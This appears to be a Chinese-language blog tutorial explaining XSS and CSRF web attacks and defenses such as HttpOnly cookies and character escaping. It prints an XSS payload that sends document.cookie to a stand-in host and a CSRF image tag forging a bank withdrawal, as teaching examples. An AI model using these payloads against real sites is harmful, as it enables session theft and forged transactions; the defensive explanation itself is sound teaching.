网络攻击技术

199 阅读2分钟

与前端相关的网络攻击技术通常包括XSS与CSRF.

XSS 跨站脚本攻击(Cross-Site Scripting, XSS)

  • 可以将代码注入到用户浏览的网页上
这种代码包括 HTML 和 JavaScript。
* 攻击者在网站上发布内容
    <script>location.href="//domain.com/?c=" + document.cookie</script>
    内容被渲染成:<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
    用户浏览该页面将会跳转到domain.com同时携带当前组用于的cookie,加入该网站以cookie保存用户的登录信息,则有可能在这里被泄露。
  • 防范手段
* 设置Cookie为HttpOnly
    设置了Cookie为httpOnly,可防止js脚本的调用,就无法通过dosument.cookie获取cookie了。
* 过滤特殊字符
    将<转义为&lt;,将>转义为&gt;,从而避免HTML和JS脚本的运行,
* 对于富文本编辑器,因为允许用户输入HTML代码,就不能简单过滤以上字符了。因此他通过XSS filter,通过建立标签白名单和标签黑名单从而允许攻击性的HTML代码输入。
    如form和script标签都会被转义,p和h标签被保留。

CSRF 跨站请求伪造(Cross-site request forgery,CSRF)

跨站请求伪造(Cross-site request forgery,CSRF),是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。

假如一家银行用以执行转账操作的 URL 地址如下:
withdraw?account=AccoutName&amount=1000&for=PayeeName。
那么,一个恶意攻击者可以在另一个网站上放置如下代码:
<img src="withdraw?account=Alice&amount=1000&for=Badman">。
如果有账户名为 Alice 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失 1000 美元

两者区别

XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户浏览器的信任。